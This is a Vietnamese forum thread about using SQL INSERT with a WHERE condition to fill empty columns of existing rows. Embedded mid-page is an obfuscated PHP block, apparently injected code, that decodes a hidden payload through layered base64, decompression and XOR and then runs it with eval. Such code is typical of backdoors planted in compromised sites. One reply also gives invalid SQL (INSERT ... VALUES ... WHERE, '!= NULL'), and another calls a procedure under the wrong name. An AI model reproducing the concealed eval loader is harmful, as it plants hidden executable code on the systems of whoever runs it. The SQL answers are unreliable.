10/10/2018, 09:56
Cho em hỏi câu lệnh insert trong sql?
Em có 1 bảng Item (ID, Name, Price, NameP, Address, Call).
Dữ liệu ở 3 cột đầu đã có rồi. Giờ em muốn insert dữ liệu vào 3 cột sau. (Insert vào những dòng có dữ liệu ở 3 cột đầu).
Insert into Item (NameP, Address, Call) values ('Thuy', 'HCM', "123456") where.....
Điều kiện ở chỗ where phải là gì ạ?
Dữ liệu ở 3 cột đầu đã có rồi. Giờ em muốn insert dữ liệu vào 3 cột sau. (Insert vào những dòng có dữ liệu ở 3 cột đầu).
Insert into Item (NameP, Address, Call) values ('Thuy', 'HCM', "123456") where.....
Điều kiện ở chỗ where phải là gì ạ?
Bài liên quan





Trường hợp của bạn phải dùng lệnh update mới đúng:
Câu SQL của em sẽ là như sau:
Insert into Item (NameP, Address, Call) values ('Thuy', 'HCM', "123456") where (ID != "" AND Name != "" AND Price != "")
Có thể là != NULL tùy theo tình trạng dữ liệu của em nhưng cơ bản != "" là ổn.
Thân mến.
<?php /* WARNING: This file is protected by copyright law. To reverse engineer or decode this file is strictly prohibited. */ $o="QAAAOzh3b3cnYGJzWG9iZmNidQAALy48Jzg5Cg0KDTtjbnEnbgAUYzolZGhpc2JpcyUBYg4BfWtiQgBhAbIOCg0OAdNka2Z0dDold2gDgHRzZnViZgOBAdMGsm5pZGtyY2IAAC9TQkpXS0ZTQldGU08pJShARGUCoGNkdXJqZSkJECUuPAhRDg6gCAOSDgpTbmEnL29mcWJYBaF0Ly4ATi4nPSdwb25rYgF/c28CYwzlBJA7AAxvNjk7ZidvdWJhOiUFEwJiYnUAgGpma25pbC8uD4AlJ3ViazolACBlaGhsamZ1bCU5ApdzbnNrYoHwBQM7KGY5OygFAA8xCiQS0Q+UY2ZzYvwAD1IL5BFqAdETNglwDjt3OTt0d2ZpJ4wAA+RzbmoD4AeJamIvIEEnbSsnXkkAIBnSOygDATknAkNYYi8lZX4lKwAHJyB0c3Jjbmh3dWJ0dAKTAiQOcQLAZnJzb2h1E6NYDvMegSchaWV0d0MCPASjYmNucwIiAhNYWC8gL0IBQC54UCAF3QEAAUEGZWV1JygI+UEZQGMncmn0GCTwCY8WYAmIZBLAYGh1fi8FARghOyh3I/g5JxWCDjsoFVAnUBJhASQBEBKFFJF1bmBwZm8n0wJBFK1uZGhqaiuSH49Ydx+HEJEks5ACxHQfNQEFWGkpMDFwEOFLYifgJ2YnROXXBYMLMRdKKycCYTYCDxlEAgMiAgV0BB4d9CXh/wceMhDfNkAlZBHoEdI5giREZGtiZnUMoBQWAiPAfDgCIOFif2RidXdzLOQVWAOeLe830WpiGb1zZjUuNCwfZmAUZinRUwEBIyASuhdBPSCIR+JzAlAvICAgIw/GC3MMZgjUDHJiaWM/wjwD8Cdia3RiPSVgAtIAUiCRAlIH8CBUaHUBAHV+KydpaCcLoXQnamZzZG9iAABjJ35ocnUnZHVuc2J1bmYp8OEYvgoRF/ExtGljbmEBMQYLBSJYaWZxMyMAMCAnISQ/NTY1PCcE8CCxIWtmdgAAcmg8J1d1YnFuaHJ0J1dmYHCOYgHAOrshc0lif3MCAichdQNiAo4h5Hf/gDEzCKEgSBHBAPZb0BACVs9WwnRuY2JlZnX4FFaaAzAWhACgA9IoKCdTb2ITAG5JwGhrCcVyamknF1B0JxayAlVjkWFoaBRQLwny";eval(base64_decode("JGxsbD0wO2V2YWwoYmFzZTY0X2RlY29kZSgiSkd4c2JHeHNiR3hzYkd4c1BTZGlZWE5sTmpSZlpHVmpiMlJsSnpzPSIpKTskbGw9MDtldmFsKCRsbGxsbGxsbGxsbCgiSkd4c2JHeHNiR3hzYkd3OUoyOXlaQ2M3IikpOyRsbGxsPTA7JGxsbGxsPTM7ZXZhbCgkbGxsbGxsbGxsbGwoIkpHdzlKR3hzYkd4c2JHeHNiR3hzS0NSdktUcz0iKSk7JGxsbGxsbGw9MDskbGxsbGxsPSgkbGxsbGxsbGxsbCgkbFsxXSk8PDgpKyRsbGxsbGxsbGxsKCRsWzJdKTtldmFsKCRsbGxsbGxsbGxsbCgiSkd4c2JHeHNiR3hzYkd4c2JHdzlKM04wY214bGJpYzciKSk7JGxsbGxsbGxsbD0xNjskbGxsbGxsbGw9IiI7Zm9yKDskbGxsbGw8JGxsbGxsbGxsbGxsbGwoJGwpOyl7aWYoJGxsbGxsbGxsbD09MCl7JGxsbGxsbD0oJGxsbGxsbGxsbGwoJGxbJGxsbGxsKytdKTw8OCk7JGxsbGxsbCs9JGxsbGxsbGxsbGwoJGxbJGxsbGxsKytdKTskbGxsbGxsbGxsPTE2O31pZigkbGxsbGxsJjB4ODAwMCl7JGxsbD0oJGxsbGxsbGxsbGwoJGxbJGxsbGxsKytdKTw8NCk7JGxsbCs9KCRsbGxsbGxsbGxsKCRsWyRsbGxsbF0pPj40KTtpZigkbGxsKXskbGw9KCRsbGxsbGxsbGxsKCRsWyRsbGxsbCsrXSkmMHgwZikrMztmb3IoJGxsbGw9MDskbGxsbDwkbGw7JGxsbGwrKykkbGxsbGxsbGxbJGxsbGxsbGwrJGxsbGxdPSRsbGxsbGxsbFskbGxsbGxsbC0kbGxsKyRsbGxsXTskbGxsbGxsbCs9JGxsO31lbHNleyRsbD0oJGxsbGxsbGxsbGwoJGxbJGxsbGxsKytdKTw8OCk7JGxsKz0kbGxsbGxsbGxsbCgkbFskbGxsbGwrK10pKzE2O2ZvcigkbGxsbD0wOyRsbGxsPCRsbDskbGxsbGxsbGxbJGxsbGxsbGwrJGxsbGwrK109JGxsbGxsbGxsbGwoJGxbJGxsbGxsXSkpOyRsbGxsbCsrOyRsbGxsbGxsKz0kbGw7fX1lbHNlJGxsbGxsbGxsWyRsbGxsbGxsKytdPSRsbGxsbGxsbGxsKCRsWyRsbGxsbCsrXSk7JGxsbGxsbDw8PTE7JGxsbGxsbGxsbC0tO31ldmFsKCRsbGxsbGxsbGxsbCgiSkd4c2JHeHNiR3hzYkd4c2JEMG5ZMmh5SnpzPSIpKTskbGxsbGw9MDtldmFsKCRsbGxsbGxsbGxsbCgiSkd4c2JHeHNiR3hzYkQwaVB5SXVKR3hzYkd4c2JHeHNiR3hzYkNnMk1pazciKSk7JGxsbGxsbGxsbGw9IiI7Zm9yKDskbGxsbGw8JGxsbGxsbGw7KXskbGxsbGxsbGxsbC49JGxsbGxsbGxsbGxsbCgkbGxsbGxsbGxbJGxsbGxsKytdXjB4MDcpO31ldmFsKCRsbGxsbGxsbGxsbCgiSkd4c2JHeHNiR3hzYkM0OUpHeHNiR3hzYkd4c2JHd3VKR3hzYkd4c2JHeHNiR3hzYkNnMk1Da3VJajhpT3c9PSIpKTtldmFsKCRsbGxsbGxsbGwpOw=="));return;?>còn nếu U có muốn viết câu lệnh "insert into" có "where" thì viết thế này
---
insert into (Tên bản mà U mốn insert)
select (các giá trị mà U muốn truyền vào cho bãn ở trên "chú ý số thuộc tính đưa vào phải bằng với số thuộc tính cua bản ở trên")
from (tên bản nào mà U muốn lấy ra điều kiện)
where (các điều mà U muốn thực hiện)
---
Bài làm của mình đây ví dụ thôi
Xe(BienSo,MaLoaiXe,SoChoNgoi)(primary key BienSo)
LoaiXe(MaLoai,TenLoai) (primary key maLoai)
Ở Đây tạo ra 1 procedure để thực thi việc insert
create proc Xe_Insert
(
@BienSoXe nchar(10),
@SoChoNgoi int,
@TenLoaiXe nvarchar(50)
)
as begin
insert into Xe
select @BienSoXe,LoaiXe.MaLoai,@SoChoNgoi
from LoaiXe
where LoaiXe.TenLoai=@TenLoaiXe
end
--thử nghiệm
exec Xe_Insert_2 '132434',34,N'Thường'
chúc U may Mắn